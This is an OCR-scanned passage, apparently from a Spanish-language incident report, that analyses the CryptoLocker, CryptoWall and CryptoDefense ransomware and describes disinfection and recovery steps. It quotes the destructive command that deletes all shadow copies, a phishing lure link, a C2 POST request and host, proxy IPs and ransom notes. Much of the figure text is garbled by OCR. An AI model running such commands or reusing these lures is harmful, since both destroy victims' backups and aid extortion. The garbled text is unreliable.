Figura 16. Evidencias registro

Posteriormente intentard conectar [Ref.-19] con el C2 por medio de un DGA (Domain
Generation Algorithm) utilizando como “seed” la fecha actual del sistema. Los TLD utilizados
para dicho dominios son: .com, .net, .biz, .ru, .org, .co.uk y .info. La comunicacién con el C2
se realizard de forma cifrada utilizando RSA; de esta forma se asegura que la conexién se
establece con el servidor del atacante (evitando asi sinkholing sobre el mismo).
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i svchost.exe (1092) P Results - sychost.exe (1092
Memory I Enwironment | Handles | Services I Commer 509 results.
General | Skatistics I Performance | Threads | Taoken I Mod Address | Length | Result |
Oxees70 32 dwtutflysciw . biz
—File Oxeedod 32 unuaaetwsreo,org
Generic Host Process For Win3Z2 Services Oxee910 34 wssignytragp.info
(verified) Microsoft Windows Component Publisher Dx&E360 an sbxclsucudnb].ru
Oxeedad 32 drfgjdgwrgps.com
Yersion: 5.1,2600.5512 Oxeedfs 2 g aimivzeyai, net
- Oxeeadd 32 fwdapmysquey . biz
I File I B
HERS I S Oxeeadd 32 lskaxhibnvme, org
I CHAWINDOWS system 32 svchost, exe [ Oxeeass 94 nxitegogmikyy.info
| Oxechas an JAnRgErErs.
Oxeeba0 32 ondhyysxyokf, com
[ Process Oxeebdn 3z hbptkomuy dvr, net
Command Line: I CHWINDOW S system 32 swchost.exe -k NetwarkService Oxeecz20 32 igkhfwqelhixz.biz
Oxeec?0 32 keiblgwykauy.org
Current Directory: IC:\,WINDOWS'LsystemSZ'l, Oxeeccd 94 bwrduldiggte.info
Oxeed1n an rywyagukicgg.ru
Skarted: I 2 months ago {13:47:02 11/08/2014) OxeedSs 33 hybctwatwitsl.com
Oxeedad 32 ubcewbpntahb, net
PEB Address: IDX?FFdEDUD Oxeedrd 3z ewpryybigmycg, biz
- Oxeeedd 32 fbgxygruafpn.arg
P k: o 652
aren |serwces S (5 — | Oxeeedd 34 ogbilggayypu.info
DEF: I Frabled r Oxeeesd 30 msgeqgbbckm, ru
— | Oxeef30 32 pecrsvbyvlqo.com
Prokection: Mj OxeefE0 32 puljngsemidr, net

Figura 17. Inyeccidn en svchost.exe

El proceso de cifrado del ransomware comenzard solicitando una clave al C2, el cuadl
devolverd una clave RSA Unica para dicho equipo.

Posteriormente recorrerd cada una de las unidades montadas (incluidos recursos de
red mapeados) buscando determinados tipos de ficheros: .odt, .ods, .odp, .odm, .odc, .odb,
.doc, .docx, .docm, .wps, Xls, Xxlsx, xlsm, xisb, xlk, .ppt, .pptx, .pptm, .mdb, .accdb, .pst,
dwg, .dxf, .dxg. .wpd, rtf, wb2, .mdf, .dbf, .psd, .pdd, .pdf, .eps. .qi, .indd, .cdr, .jpg, .jpe,
Jjpg. .dng, .3fr, .arw, srf, sr2, .bay, .crw, .cr2, .dcr, kdc, .erf, .mef, .mrw, .nef, .nrw, .orf, .raf,
raw, wl, w2, r3d, .ptx, .pef, .srw, x3f, .der, .cer, .crt, .pem, .pfx, .p12, .p7b, .p7c.

Cada fichero identificado serd cifrado con una clave Unica de 256 bits utilizando AES.
Dicha clave se cifrard con la clave publica recibida desde el C2. Mediante este sistema se
garantiza que, para poder recuperar los ficheros, el usuario ha de obtener la clave privada
RSA, la cual nunca sale del servidor de control.

Por cada fichero cifrado se anadird el mismo, a modo de log, dentro de la clave de
registro HKEY_CURRENT_USER\ Software\ CryptoLocker\Files. Dicha clave serd utilizada por el
binario para mostrar al usuario el listado de ficheros que se han visto afectados por el
ransomware.

Para mds informacién sobre CryptoLocker se recomienda la lectura de la guia
"CryptoLocker Ransomware Information Guide and FAQ" mantenida por Bleepingcomuter
[Ref.-20].
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7.1.1 DESINFECCION / RECUPERACION DE FICHEROS

La recuperacién de los ficheros es précticamente inviable debido a que la clave
privada RSA nunca abandona el servidor de control. Se recomienda hacer uso del "Shadow
Volumen Copy" tal y como se describié en el punto 5. Es importante indicar que algunas
variantes de CryptolLocker tratardn de eliminar también los puntos de restauracién del VSS
mediante la siguiente orden:

"C:\Windows\SYsWOWe64\cmd.exe™ /C ""C:\Windows\Sysnative\vssadmin.exe™
Delete Shadows /All /Quiet

Cabe destacar que en Junio de 2014, a raiz de la Operacidon Tovar [Ref.-21],
responsable de la desarticulacién de la infraestructura de Gameover Zeus y CryptolLocker,
las companias FireEye y Fox-It crearon el servicio http://www.decryptcryptolocker.com/ para
tratar de ayudar a los usuarios victimas de este ransomware. Dicho servicio utiliza las claves
extraidas de la base de datos interceptada en dicha operacién. Para conocer si la victima
puede recuperar sus documentos, Unicamente tiene que subir uno de los ficheros cifrados al
servicio e indicar su correo electréonico. En el caso de contar con la clave privada
correspondiente, recibird un correo en el que se le especificard dicha clave asi como las
instrucciones [Ref.-22] a seguir para descifrar el resto de ficheros por medio de la
herramienta Decryptolocker.exe.

<O FireEye FOX IT

FOR A MORE SECURE SOCIETY

FireEye and Fox-IT have partnered to provide free keys designed to unlock systems infected by CryptoLocker.

Flease provide your email address [1] and an encrypted file [2] that has been encrypted by CryptoLocker.
This portal will then email you a master decryption key along with a download link to our recovery program that can be used together with the master decryption key

to repair all encrypted files on your system

Flease note that each infected system will reguire its own unique master decryption key. So in case you have multiple systems compromised by CryptoLocker, you

will need to repeat this procedure per compromised system

Iotes:
[1] Email addresses will not be used for marketing purposes, nor will they be in any way stored by FireEye or Fox-IT

[2] You should only upload encrypted files that do not contain any sensitive or personally identifiable information.

No file selected Choose File

Maximum file size: 16ME
Figura 18. Servicio de recuperacién de ficheros (FireEye — FOX IT)

Como se ha descrito anteriormente, la infeccién de este ransomware suele producirse
por medio de ofros especimenes conocidos como Citadel o Zbot. Por este motivo se
recomienda contar con un AV correctamente actualizado. Asimismo se recomienda el uso
de herramientas como CryptoLocker Prevention Kit, CryptoPrevent o CryptoGuard, también
descritas en el presente informe. Dichas herramientas mitigarian cualquier intento de
infeccion por parte de este especimen.

Para desinfectar el equipo se deben eliminar determinadas entradas de registro, las
cuales pueden ser algunas de las siguientes:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion

\Run "CryptoLocker"
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HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\RunOnce "*CryptoLocker"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Run "'CryptoLocker_<version_number>"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\RunOnce "*CryptoLocker_<version_number"

Filese en el uso de asteriscos en las enfradas RunOnce para forzar la ejecucion del
binario en el modo seguro (Safe Mode). Dichas entradas apuntardn a cierto ejecutable con
nombre aleatorio dentro de la ruta %AppData% o %lLocalAppData%, el cual deberd ser
eliminado también. El binario estard marcado como fichero del sistema y oculto, por lo que
para su eliminacion serd necesario quitar ambos atributos previamente.

C:~Documents and SettingssTest:\Local Settings“Application Datarattribh Mdispnawemgjdbnpf .exe
SH GC:xDocuments and SettingssTest:Local Settings~Application Data“Ndispnawemgjdbnpf.exe

C:“Documents and Settings“Test“Local Settings“Application DataXattrib —h —s Hdispnawemgjdbnpf .exe

C:=“Documents and Settings“Test“Local Settings“Application DataXdel HNdispnawemgjdbnpf .exe

C:=“Documents and Settings~Test-Local Settings~Application Data’>

Figura 19. Eliminacién de binario <aleatorio>.exe

Ademds, CryptolLocker creard dos procesos, los cuales deberdn ser finalizados. Para
ello se recomienda utilizar la herramienta Process Explorer con la opcion “Kill Process Tree" en

el proceso principal.
;‘{J_Erlocexp. exe | 776 13992k 18.8956 K Sysiﬁternals Process Explorer  Spsinternals -.www.sysinter.. Nerifiedj Microsoft... 0/54
: EHE 07E K Mark ac 1SEX [ tun
5.236 K Mark ac 15BX

Windaw »

Set Priority 3

Kill Process Del

Kill F'r'u:ue:::: Tree 'E-I'uil't+[:n-:e| L"H% |

CPU Usage: 0.00%  [Comnmit Charge: 11.4

Figura 20. Eliminacién de procesos

Nota: ESET escribid una entrada [Ref.-23] en la que se describia una posible evolucién
de CryptolLocker (CryptoLocker 2.0). Sin embargo, dicha variante escrita en C# es
descartada en el propio post debido a las grandes diferencias analizadas respecto a
CryptolLocker.

7.2 CRYPTOWALL

Poco tiempo después del cierre de la infraestructura de Gameover Zeus vy
CryptolLocker mediante la "Operacién Tovar”, un ransomware similar a CryptoLocker y
CryptoDefense (véase en el siguiente punto) dio a conocerse utilizando también correos de
phishing como via de infeccion. Desde el blog de McAffe [Ref.-24] pueden verse algunos
ejemplos reales de este tipo de correos en los que se incita al usuario a descargar y ejecutar
un determinado fichero danino.
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Sir/Madanm,

Please download document from dropbox, payment advice is issued at the
Download 1ink:

http://salamatiancar.ir/css/document-128_712.217p

Yours faithfully,

Global Payments and Cash Management
HSBC

Figura 21. Phishing CryptoWall

Ademds de estas campanas de spam, se han identificado otras vias de infeccién de
CryptoWall por medio de determinados exploits kits (por ejemplo, RIG, Infinity, etc.).

Una vez que CryptoWall es ejecutado comenzard a cifrar gran variedad de ficheros
del equipo (documentos, ficheros de texto, cddigo fuente, etc.) utilizando RSA-2048 vy
solicitando al usuario un pago de 0.86 BTC (500 USD) para la recuperacién de los mismos.
Dicha cantidad se doblard si dicho pago se demora mds de 168 horas. Para la realizacién
del pago, el usuario deberd utilizar un gateway Web-to-Tor especificado por el atacante o
bien utilizar un cliente TOR.

Una vez que el cédigo danino es desempaquetado en memoria se inyectard en una
instancia del proceso explorer.exe y posteriormente en svchost.exe. Véase la jerarquia de
procesos generados por CryptoWall. Puede observarse también la invocacién de
vssadmin.exe para la eliminacién de las Shadow Copies.

Em bed89e1411e02ec84ec70371 ecaedIbl exe [2072)  |AvilegMmEDE ChDocuments and Settingsh Test\Deskt... | "C:A\Documents and SettingshTest\Desklophbed39e141 ..
= g explorer.exe [2038) ‘wWindows Explorer C\wIND DWW S explorer. exe I "EAWINDOW S explorer exe
B svchost exe (2140) Generic Host Process .. C:ANWINDOWS \apstem32svchost exe - -k neteves
[i NOTEPAD EXE [2644] Motepad C:iwfINDOWS haystem32MOTEPAD E _"E'\\N’INDDWS\system32\NDTEPAD EXE" C:\Docume
@firafox.exe [2652] Firefox C:\Program Files'Mozilla Firefos®firefo. .. _ "C:vProgram Files\Mozilla Firefoxhfirefor exe™ -osint -url ...
iverclzid.exe [2660) Yerify Class 1D LW MDOWS system32verclsid.exe | /5 /C {FBF23B40-E3F0-101B-8488-004A003E 56F 8} /1 {...
@firefox.exe [2692] Firefax C:\Program Files\Mozilla Firefox\firefox.... | "'C:\Program FileshMozilla Firefoxhfirefor exe -asint -url ..
x wazadmin.exe [2152) Command Line Interfac... C:AWINDOWSspstem32hwesadmin. exe | wesadmin.exe Delete Shadows A1 AQuiet
;f§ 1egedit.exe [2548) Fiegistry Editar CwINDOWS regedit exe - NCAWINDOWS vegedit. exe”

Figura 22. Procesos generados por CryptoWall

El especimen utilizard determinadas APls de advapi32.dil (CryptCreateHash,
CryptHashData, etc.) para calcular un hash MD5 a partir de determinada informacion del
equipo. Dicho hash, servird para identificar de manera univoca el equipo comprometido a
partir de la versién del S.O, del procesador, nombre del equipo y nimero de serie del
volumen. La comunicacion con el C2 se realizard utilizando un algoritmo RC4 para dificultar
y eludir sistemas de deteccién de intrusos. Dicha comunicacién se realizard por medio de
peticiones POST.
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FOST Swkigpxg8zuno HTTR /1.1

CCRpL: MW

ontent-Type: application«-www-form-urlencoded

onnection: Close

ontent-Length: 102

User-agent: mMozilla 4.0 (compatible; MSIE 7.0; windows nT 5.1; Trident/4.0; .MET CLR
3.0.04506.648; .MNET CLR 3.5.21022; .MET CLR 3.0.4506,2152; .MNET CLR 3.5.30729; .MET CLR
2. 0.50727)

Host: godblessmikenigga. com

ache-Control: no-cache

z=T5E544 7400043872511 chdlaenlfallfiehza6aeaThas 7177515337378 579FcBh003fErd ehazd4f2d1121e0
245982367 919HTTR,/1.1 200 OK

Date: Tue, 04 Mov 2014 17:22:37 GMT

Server: apache/s2.2.15 (Centos)

-Powered-By: PHP/5.4.33

Expires: Sat, 26 Jul 195%7 05:00:00 GMT
Last-modified: Thu, Ol Jan 1970 02:46:40 GMT
ache-control: no-store, no-cache, must-revalidate
ache-Control: post-check=0, pre-check=0

Pragma: no-cache

ontent-Length: 14

ontent-Type: text/html; charset=utf-§

onnection: close

6540c11dF 3836
Figura 23. Peticion POST

El objeto solicitado se corresponde con la clave RCA4 utilizada para cifrar el contenido
del pardmetro POST. El C2 creard un par de claves privada/publica utilizando OpenSSL. La
clave publica serd remitida al cliente para que comience el cifrado de los ficheros del
usuario. Para conocer en detalle las comunicaciones establecidas con el C2 consulte el post

de McAffe "CryptoWall Ransomware Built With RC4 Bricks" [Ref.-24].

La lista de ficheros cifrados se almacenardn en alguna de las siguientes entradas de

registro:

HKEY_CURRENT_USER\Software\<clave aleatoria>\CRYPTLIST

HKEY_CURRENT_USER\Software\<id equipo>\<valor aleatorio>\

D HKEY_CLASSES_ROOT C:'l,F'ython2?'!,TO0Is'l,5cripts'l,bytevears.py REG_DWORD
(=) HKEY_CURRENT_USER C:'l,F'ython2?'l,TO0Is'l,5cripts'l,checkappend.py REG_DAWWCRD
-] AppEvents C:'|,F'ythDn2?'!,TO0Is'|,5cripts'|,checkpyc.pv REG_DWORD
(1 Console C:'|,F'ythDn2?'|,T00|s'|,5cripts'l,classﬁx.pv REG_DWWORD
=@ Con.trol Panel C:'|,F'yth0n2?'|,T00|s'|,5cripts'|,cleanfuture.py REG_DWORD
-@ Enqu?ment C:'|,Python2?'|,TUUIs'|,Scripts'l,cumbinerefs.py REG_DiWwORD
Eg Ilciirllnt:‘l:r’; Layout C:'|,Pyth0n2?'|,TUUIs'|,Scripts'l,cupytime.py REG_DiWwORD
-] Printers C:'|,Python2?'|,TO0Is'|,Scr|pts'|,crlf.pv REG_DiWORD
(&3 SessionInformation C:'|,PythDn2?'|,T00|s'|,5cripts'l,cvsfiles.py REG_DWORD
57 Software C:'|,PythDn2?'|,T00|s'|,5cripts'l,depickle.py REG_DWORD
£ 191ADFFE676009D1 7367 D46aFaddrce | | BE]C:\Python27iTanksiseriptsldit. oy REG_DWORD

E L1255 1344466 77750BCDF C:'|,Python2?'|,TUUIs'|,Scripts'|,dutree.py REG_DWWORD

Figura 24. Listado de ficheros cifrados

0:x:4875d909 (1215682825)
0:x:4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)
0:x4875d909 (1215682825)

Una vez se hayan cifrado los ficheros, se abrird una instancia de notepad.exe con el
contenido DECRYPT_INSTRUCTION.TXT, asi como una instancia del navegador mostrando el

contenido del fichero DECRYPT_INSTRUCTION.HTML.

"C:\Program Files\Mozilla Firefox\firefox.exe™ -osint -url
Settings\Test\Desktop\DECRYPT_INSTRUCTION.HTML""

"C:\Documents and

En ambos ficheros se explican los pasos que el usuario debe seguir para realizar el

pago en BTC.
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£ Qus pasé con sus ficheros?

Todos sus ficheros fueron con la 8 RSA-2048 con la ayuda del programa Cryptoiliall

Fuede conocer mis sobre la codificacién con las claves RSA-2048 aqdi: hitpen wikipedia X ¥}

&Oué significa esto?
Significa que |a estructura v los datos dentro de sus ficheros fueran cambiados irevocablemente, no podrd trabajar con ellos, leer o

verlos, esto es lo mismo que perderlos para siempre, pero con nuestra ayuda podrd restaurarlos.

£Como pasd esta?

Especialmente para Usted en nud | Go (5 [ b#tprs://kpai7ycr 7jxqkilp. torchek.com/ijRv Qe

Todos sus ficheros fueron codifica

Se puede decodificar sus ficheros|

Sus ficheros fueron codificados.
Para obtener el programa de decodificacion debe pagar 500 USD/EUR. Si no va a pagar
hasta 11/11/14 - 11:34 el precio de decodificacion aumentara 2 veces y va a ser 1000 USD/EUR.

& Bué tenge que hacer?

Por desgracia, si no va a tomar |a

dal programa especial van a cam

Antes de incrementar la cantidad que queda:
167h 21m 19s

Si Usted apracia sus datos, |a rac

Forfavor, para obtener las instru,

Su sisterna: Windows ¥P (x32)  Primera conexisn con |P: [ [AEE ==  codificados en total 2680 files.

prog Cryp Decrypter’, con su ayuda podrd decodificar todos sus ficheros.
How 1o buy CrypwoWall decrypter?

a=su pagina:

©bitcoin

1. Usted debe registrar un monedero de Biteoin (Pulse para obtensr mas informacidn )

2. Comprar Bitcoins, cada dia es mas facil hacerlo.
Nuestras recomendaciones:

+ localbitcoins.com - Buy Bitcoins with Western Unian

+ Coincafe com - Recommended for fast, simple service. Payment Methods: Western Union, Bank of
‘America,Cash by FedEx, Moneygram, Money Order. In NYC: Bitcoin ATM, In Person

+ LocalBitcoins.com - Es un servicia estupenda que permite buscar a la gente que guiere vender los Bitcoins
directamente a Usted.

»+ coinmrcom - Another fast way to buy bitcoins

« bitquick.co - Comprar Bitcoins por dinero en efectivo al instante

» How To Buy Bitcoins - Catdlogo intemacional de bolsas de Bitcain.

+ Cash Into Coins - Bticain par dinera en efectiva

+ Coindar- Coindar permite comprar Bitcoin directamente en su sitio web. Fue abierto en Australia, pera sirve
a los clientes de varios paises.

« angpro.com

+ bittvlicious.com

+ ZipZap - ZipZap is a global cash network ing ¢ to pay for digital cumency.

3. Enviar 147 BTC a la direccién Bitcoin:  16C530m49ro CBkmudThY G310 AvatwjY Gh cédigo QR

4. Infreducir el ndmero de ransaccién de Bitcoin y elegir &l manta:

|[za7 eTc ~=s00 us v | [NENTOEN]

Nota: Mimero de transaccion — puede encontrarlo en la informacidn detallada sobre |a transaccicn de Bitcoin realizada.
(ejemplo 4421defcadfefi39386ddba29cd0bf34f19a27 cd2f07f5cfIe2aalB 1 14cdd1f2)

5. Por favor, verifique Ia informacién del page introducida por Usted y pulse "Pagar”

Figura 25. CryptoWall

7.2.1 CRYPTOWALL 2.0

Tal y como se describe en Bleepingcomputer [Ref.-25], en Octubre de 2014 se
identificd una versidén evolucionada de este ransomware bajo el nombre de CryptoWall 2.0,
en la que se mejoraron los siguientes aspectos:

o La creacién de una direccién BTC de pago por cada victima (a diferencia de su
predecesor, en el que una Unica direccidon era compartida por diferentes
equipos).

. Creacién de pasarelas Web-to-Tor a medida para evitar el blacklisting de
gateways de terceros.

o Borrado seguro de ficheros. En la primera version de CryptoWall los ficheros
originales eran eliminados sin ser sobrescritos posteriormente, lo que hacia posible
su recuperacidén por parte de herramientas forenses [Ref.-26]. La version 2.0
sobrescribe los ficheros eliminados haciendo prdcticamente inviable su
recuperacion.
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7.2.2 CRYPTOWALL 3.0

En Enero de 2015 los analistas de malware advierten de la aparicion de una nueva
version de Cryptowall. El nivel de sofisticacién de esta tercera version ha aumentado
potencialmente con la introduccidn de nuevas vias de comunicacion con el C2.

El uso de la red andénima I12P (Invisible Internet Project) en lugar de TOR supone el
cambio mds notable. 12P sigue un modelo similar a TOR, la red estd compuesta por nodos
entre los que fluye la comunicaciéon, sin embargo 2P utiliza un esquema 'inproxy", a
diferencia de TOR, cuyo modelo es "outproxy" ([Ref.-47). El modelo outproxy estd enfocado a
la navegacion andnima por redes externas, como Internet. Por el confrario, un esquema
inproxy sigue el modelo de "VPN puro", donde ninguna entfidad externa puede participar en
la red sin antes unirse a ella, esta arquitectura es la fradicional de una darknet.

Cryptowall 3.0 intenta acceder a multiples recursos ".i2p", también conocidos como
"eepSites”, para comunicarse con el C2. Las URLs ubicadas en la red I2P con las que este
ransomware intentard comunicarse son:

proxyl-1-1.i2p
proxy2-2-2.i2p
proxy3-3-3.i2p
proxy4-4-4.i2p
proxy5-5-5.i2p

Para lograr esta comunicacién, Cryptowall incluye en su interior una lista de proxies
gue hardn de pasarela con I2P:

91.121.12.127:4141
5.199.165.160:8080
94.247.28.26:2525
194.58.109.158:2525
195.29.106.157:4444
94.247.31.19:8080
194.58.109.137:3435
94.247.28.156:8081
209.148.85.151:8080

El binario ird progresivamente comprobando cada una de las direcciones proxy
anteriores hasta encontrar una funcional. Serd en ese momento cuando construird una
peticién POST al servidor C2 comunicando la nueva infeccién.

El proceso funcional de cifrado de esta tercera versién es idéntico a su predecesor. La
nueva pdgina de rescate que se presentard al usuario al finalizar el cifrado serd similar a la
siguiente:
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What happened 10 your Mes?
All of your fes were protecied By 3 skong encryplion with RSA-2048 using Cryplowall 30
Nore information aboul the encryphion keys using RSA-2048 can be found here hilp Men wikipeds oraWeiRSA (Crpiosvatem)

What does this mean?
This means that b structure and cata within your files have deen rravacably changed, you will not be adie 10 work
with ham, read Biem of See them, 11is e same Fund 38 108ing Mem forever, Sut with our help, you can restors them

How gid Dus happea?

Especially for you, 0N 0ur Server was generated the secrel key pair RSA-2048 - putiic and prvate.

All your files were encrypted with the pudiic key, which has been transfermed 10 your compuner va the internet

Decrypling of your files i3 only poSsible with the help of the piivale key and decrypt program. which is on our S&Crel Senver.

What do | do?
Alas, if you 00 NOT Lake the necessary measured for he specfied Sme then the conditions for obtaning the privale key will be dhanged
I you reatly value your data. then we suggest you do not waste valuatie tme searching for cther solfions because ey do not axst

{For more Speciic Instructions, pleass Wsi your parsonal home pags. thers are 2 few difierent 330685585 POINtINg 10 your page Dlow

11. paytocdgtpnSc

2.1orpaysolutions.cons/1lukUfB

:2. payt lorpavcptions.con/1 lwkUFE
13 paytoc torinvestnent2, com/ 1 1wk UFS
| o
{4. paytocdgtpnSczl2. torwillamith.com/ 11ukUFE

Ffor some reasons the addresses are not avallable, follow hese steps

1 Download and nstall for-trowser HHp Swwwiniprasdl cegprolectsdorscons artaml a0
2 After 3 suctessful nstall ation, run e Brows er and wait for mitiaization

3. potcolgtpntezi 2 . onlon/ 1w UFD «Type N the address dar

4 Follow the nsyudions on e site

INPORTANT BFORMATION:
Pt oCdgtpe 5ozl 2 torpeeolut Lons L cons Lk U6 Your Personal PAGE
patocdgtoniczl 2 onjon/1tuUis  4Your Personal PAGE(using TOR)
LLuklUFE  «Your personal code OF you open he site (or TOR 's) diracsy)

Figura 26. CryptoWall 3.0 [Ref.-43]

7.2.3 DESINFECCION / RECUPERACION DE FICHEROS

Cabe destacar que CryptoWall crea una instancia de VSSADMIN.EXE para intentar
eliminar fodos los Volume Shadow Copies mediante la orden:

"C:\Windows\Sysnative\vssadmin.exe™ Delete Shadows /All /Quiet

Ademds, deshabilitard la restauracion del sistema de Windows modificando la entrada
de registro

HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SystemRestore

Por este motivo es recomendable apagar el equipo tan pronto se detecte la infeccion.
Posteriormente se recomienda reiniciar el equipo en modo seguro (Safe Mode), proceder
con la desinfeccion del malware e intentar la restauracion de los ficheros afectados tal y
como se describe en el punto 5. Algunos de los ficheros asociados con el ransomware se
crean en las siguientes rutas:

C:\<aleatorio>\<aleatorio>.exe

%AppData%o\<aleatorio>.exe

%L ocalAppData%o\<aleatorio>.exe
%UserProfile%\Desktop\DECRYPT _INSTRUCTION.HTML
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%UserProfile%o\Desktop\DECRYPT_INSTRUCTION.TXT
%UserProfile%\Desktop\DECRYPT_INSTRUCTION.URL
%UserProfile%\Desktop\INSTALL_TOR.URL

Las instrucciones serdn ejecutadas en cada reinicio del equipo por medio del
directorio de inicio del usuario (Start Menu\Programs\Startup)

4 C:ADocuments and SettingshT est\Start Menu\ProgramshStartup

& DECRYPT_INSTRUCTIOM.HTHL c:hdocuments and settingsstestsatart menuhprogramshatartupidecrypt_instruction. hiral
ré’l DECRYPT_IMNSTRUCTION. T<T chdocuments and settingstesthstart menubprogramshstartuphdecrypt_instruction, bt
;_Ii_fl DECRYPT_INSTRUCTION.URL chdocuments and settingshtestistart menuhprogramztstartuphdecrypt_instruction. ul

Figura 27. Ejecucidén de instrucciones en el inicio del sistema

Para conocer la lista de ficheros afectados por el especimen pueden consultarse las
enfradas:

HKEY_CURRENT_USER\Software\<clave aleatoria>\CRYPTLIST
HKEY_CURRENT_USER\Software\<id equipos>\<valor aleatorio>\

Si la infeccidn se ha llevado a cabo con la primera versidon de CryptoWall y no se han
podido recuperar los ficheros afectados a partir de un backup o del VSS, se recomienda
utilizar herramientas forenses para tratar de obtener los ficheros eliminados. Herramientas
como Ontrack EasyRecovery, R-Studio, efc., permiten llevar a cabo este proceso. Puede
encontrarse un listado completo de herramientas de este fipo en Forensicswiki [Ref.-27].

Téngase en cuenta que es preferible el uso de herramientas de recuperacion live-CD,
o bien montar la particién afectada en ofro equipo para evitar que los ficheros eliminados
puedan ser sobrescritos durante el proceso de recuperacion.

PhotoRec 7.8-WIP. Data Recovery Utility,. Octoher 2814
Christophe GREMIER <grenierBcgsecurity.orgr
http: /7w .cgsecurity.ory

Dizk ~/devrssda — 18 GB .~ 18 GiB <(R0O> — UBOX HARDDISK
Partition Start End Size in sectors
1 =+ HPFS — NTFS a 1 1 1383 254 63 20748697

Pass 1 - Reading sector 18682392.-20948697,. 488 files found
Elapsed time BhBAMS1sz — Estimated time to completion Bhibm5S4
: 286 recovered
: 57 recovered
36 recovered
7 recovered
recovered
recovered
recovered
: 18 recovered
cab: 8 recovered
gif: 5 recovered
others: 17 recovered

Figura 28. PhotoRec
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7.3  CRYPTODEFENSE

Los primeros focos de infeccién de CryptoDefense aparecieron en Febrero de 2014.
Este ransomware emplea un enfoque muy parecido a CryptoWall y CryptoLocker. Utiliza RSA
2048 como sistema de cifrado y solicita al usuario un pago de 500$% USD por medio de BTC en
un intervalo de 4 dias. Si el pago se demora mds tiempo el dinero solicitado se duplicard.

El portal de pago estard también localizado dentro del dominio *.onion”, por lo que el
usuario deberd utilizar un cliente Tor o bien usar una pasarela Web-to-Tor. Segun informacién
de Bromiun Labs [Ref.-28] este tipo de ransomware ha sido distribuido por medio de exploits
para versiones de Java vulnerables.

Cada fichero cifrado contendrd una cabecera con la cadena "lerypted!” junto con un
identificador Unico para el host afectado (hash de 32 caracteres). Entre la lista de ficheros
objetivo, el ransomware también cifrard certificados SSL y ficheros correspondientes a
codigo fuente.

OFFSET 00 01 02 03 04 05 06 OF 08 09 0A OB OC OD DE OF

ooooooo0 21 00 63 00 72 0D 79 00 70 00 74 00 65 00 64 00 | l.c.r.v.p.t.e.d
0oo0pooO0O10 21 00 0O 00 36 OO 34 00 37 00 46 00 32 00 34 00 | !...6.4.7.F.2.4
00000020 32 00 45 00 30 00 38 00 42 00 30 00 33 00 33 00 | 2.E.0.9.5.0.3.3.
00000030 45 00 44 00 38 00 35 00 35 00 43 00 41 00 42 00 E.D.B.5.5.C.A.B.
gooooo40 39 00 36 00 32 00 32 00 39 00 43 00 34 00 33 00 9.6.2.2.9.C.4.3.
00Do00S0 36 00 36 00 O0D OD 95 7D 90 1B 84 SF 37 ED 34 B4 | 6.6...1 117441

00000060  S3 CB 9F 7E 63 7B C5 €C F9 1F DF CD E4 BS 33 22 SENITc{Ala.Bi&ap3"
00000070 29 DC A3 70 CS5 EE 7B 39 38 45 SE 46 7B BA 4C 7F )UepAi{98E~F{oLl
0000O0S0 De 73 94 E0 FA C2 S6 OF C2 00 00 63 40 82 92 DC Osléﬁﬁv.ﬁ:.c@!'u
00000090 BE 27 2A Al 27 EF C6 15 OSF DE A4 26 5E C9 54 FC n'=j'i&. UME~ETu

Figura 29. Cabecera, fichero cifrado. Fuente: http://howdecrypt.blogspot.com.es/

Una vez finalizada la infeccién, se abrird una instancia de notepad.exe con las
instrucciones (HOW_DECRYPT.TXT) a seguir para recuperar los ficheros afectados.

h1; files including videos, photos and documents on your computer are encrypted by CryptoDefense
software.

Encryption was produced using a unigque public key RSA-2048 generated for this computer. To decrypt
files you need to obtain the private key.

The single copy of the private key, which will allow you to decrypt the files, Tocated on a secret
server on the Internet;

$h$ server will destroy the key after a month. after that, nobody and never will be able to restore
iles.

In order to decrypt the files, open your personal page on the site
S S 0| 1 Ow The 1nstructions.

s not opening, please follow the steps below:

Figura 30. Instrucciones, CryptoDefense

7.3.1 DESINFECCION / RECUPERACION DE FICHEROS

Para las primeras versiones de CryptoDefense (mes de Abril de 2014 y anteriores) existe
la posibiidad de recuperar los ficheros cifrados, debido a cierto error por parte de los
atacantes a la hora de generar el par de claves de cifrado/descifrado. A diferencia de
CryptoLocker, CryptoDefense genera el par de claves RSA 2048 en el propio equipo de la
victima utilizando la CryptoApi de Windows antes de enviarlo en texto plano al servidor de
control. Sin embargo, los atacantes desconocian que utilizando este método la clave de
descifrado era almacenada en el equipo del usuario. Este hecho es descrito por Fabian
Wosar de Emisoft, empresa que dio a conocer este hecho [Ref.-29] y que, a raiz del mismo,
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desarrollé una herramienta para recuperar y poder descifrar los ficheros afectados. Si el
usuario se ha visto comprometido por esta variante de CryptoDefense se recomienda seguir
los siguientes pasos:

o Descargar la herramienta Decrypt_CryptoDefense.zip [Ref.-30].

o Extraer el contenido del zip. Dicho zip contiene una heramienta denominada
CryptoOffense.exe, cuyo objetivo es extraer la clave de descifrado a un fichero
denominado secret.key. Esta herramienta debe ufilizarse para llevar a cabo el
proceso de recuperacion desde otro equipo.

. La otra herramienta dentro del “.zip"” es decrypt_cryptodefense.exe, cuyo objetivo
es llevar a cabo el proceso de descifrado y recuperacién de los ficheros. Esta
herramienta es la que debe de utilizarse desde el propio equipo infectado.

. Tras pulsar el botdn “Decrypt”, la herramienta ird recorriendo recursivamente cada
uno de los directorios descifrando cada fichero afectado a partir de la clave
recuperada.

Nota: decrypt_cryptodefense.exe puede ser detectado como danino por los sistemas
AV. Se aconseja desactivar el mismo o anadirlo a la lista de confianza mientras se
realiza el proceso de recuperacion.

Q Emsisoft Decrypter for CryptoDefense =

Emsisoft DECRYPTER

e
Decrypter | Results ] Options | Aboutl

For CryptoDefense - Version 1.0.0.97

e\

dd folder T—m—
.

Figura 30. Emsisoft CryptoDefense Decrypter

Tal y como se describe en Bleepingcomputer [Ref.-31], si durante dicho proceso se
recibe el mensaje “File could not be decrypter properly. Skipping ... “ posiblemente la clave
de descifrado haya sido sobrescrita. En este caso, todavia existe la posibilidad de recuperar
